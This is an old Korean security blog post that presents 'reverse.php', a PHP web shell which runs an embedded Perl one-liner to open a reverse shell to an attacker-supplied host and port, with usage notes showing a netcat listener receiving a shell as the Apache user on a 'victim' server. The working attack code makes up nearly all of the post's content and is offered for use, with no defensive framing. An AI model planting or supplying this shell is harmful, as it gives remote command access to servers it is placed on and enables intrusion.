알라신께충성 :: PHP + PERL Shell Binding

PHP + PERL Shell Binding

Security 2008/07/23 23:42 posted by 알라신께충성

<?php
/*

+-----------------------------------+ 
| PHP + PERL Shell Binding          | 
| By bando                          | 
+-----------------------------------+

1. reverse.php (host default : $_SERVER[REMOTE_ADDR])

>>> http://xxxxxx.com/reverse.php?port=5555
    >>> Connected >>> xxx.xxx.xxx.xxx:5555
    or
    >>> http://xxxxxx.com/reverse.php?host=xxx.xxx.xxx.xxx&port=5555
    >>> Connected >>> xxx.xxx.xxx.xxx:5555

2. local or remote system

[root@bando ~]$ nc -l -p 5555
    >>> victim : xxx.xxx.xxx.xxx
    id
    uid=48(apache) gid=48(apache) groups=48(apache)

$host = ($_GET[host]) ? $_GET[host] : $_SERVER[REMOTE_ADDR];
$port = ($_GET[port]) ? $_GET[port] : 31337;
$victim = $_SERVER[SERVER_ADDR];
$v0zlt = "perl -e 'use Socket;socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || exit 1;if (!connect(SOCK, pack \"SnA4x8\", 2, $port, inet_aton(\"$host\"))) {exit 1;}if ( !fork() ) {send(SOCK,\">>> victim : $victim\n\",0);open(STDIN,\">&SOCK\");open(STDOUT,\">&SOCK\");open(STDERR,\">&SOCK\");system(\"/bin/sh\");exit(0);}print \"Connected >>> $host:$port\n\"' ";
system($v0zlt);
?>

TAG PERL, PHP, Security

받은 트랙백이 없고 , 댓글이 없습니다.

Trackbas address :: http://vozlt.org/trackback/20

<< prev 1 ... 5 6 7 8 9 10 11 12 13 ... 26 next >>

일	월	화	수	목	금	토
			1	2	3	4
5	6	7	8	9	10	11
12	13	14	15	16	17	18
19	20	21	22	23	24	25
26	27	28	29

알라신께충성

PHP + PERL Shell Binding

Trackbas address :: http://vozlt.org/trackback/20

Notices

Search

Categories

Site Tags

recent Entries

recent Comments

recent Trackbacks

Archives

Calendar

Links